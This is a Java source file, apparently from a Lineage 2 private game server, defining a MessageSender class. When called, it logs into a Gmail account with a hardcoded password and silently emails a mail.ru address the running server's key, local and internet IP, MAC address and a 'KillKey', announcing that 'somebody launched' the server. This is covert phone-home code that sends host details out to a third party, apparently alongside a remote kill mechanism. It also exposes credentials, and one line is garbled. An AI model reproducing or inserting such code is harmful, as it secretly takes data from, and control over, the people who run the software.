Свернуть ↑
package l2ft.gameserver.utils;
import java.util.Properties;
import javax.mail.Address;
import javax.mail.Message;
import javax.mail.Message.RecipientType;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class MessageSender
{
private static final Logger _log = LoggerFactory.getLogger(MessageSender.class);
public static void send()
{
try {
Properties props = new Properties();
props.put("mail.smtps.host", "smtp.gmail.com");
props.put("mail.smtps.auth", "true");
props.put("mail.transport.protocol", "smtp");
props.put("mail.debug", "false");
Session mailSession = Session.getDefaultInstance(props);
Transport transport = mailSession.getTransport("smtps");
InternetAddress fromAddress = new InternetAddress("first.security.mail@gmail.com");
InternetAddress toAddress = new InternetAddress("byldas@mail.ru");
Message simpleMessage = new MimeMessage(mailSession);
simpleMessage.setFrom(fromAddress);
simpleMessage.setRecipient(Message.RecipientType.T O, toAddress);
simpleMessage.setSubject("First-Team HF Informer.");
simpleMessage.setText("Somebody launched First-Team server. Some information about this server:\n\rKey: " + Util.getServerKey() + "\n\r" + "IP: " + Util.getServerIp() + "\n\r" + "Internet IP: " + Util.getHostIp() + "\n\r" + "Mac: " + Util.getServerMac() + "\n\r" + "KillKey: " + ServerLogger.killKey + "\n\r\n\r");
transport.connect("smtp.gmail.com", "first.security.mail@gmail.com", "JKgliuKGl78kjlhluiGFk");
transport.sendMessage(simpleMessage, new Address[] { toAddress });
transport.close();
}
catch (Exception e)
{
_log.info("Message not send");
}
}
}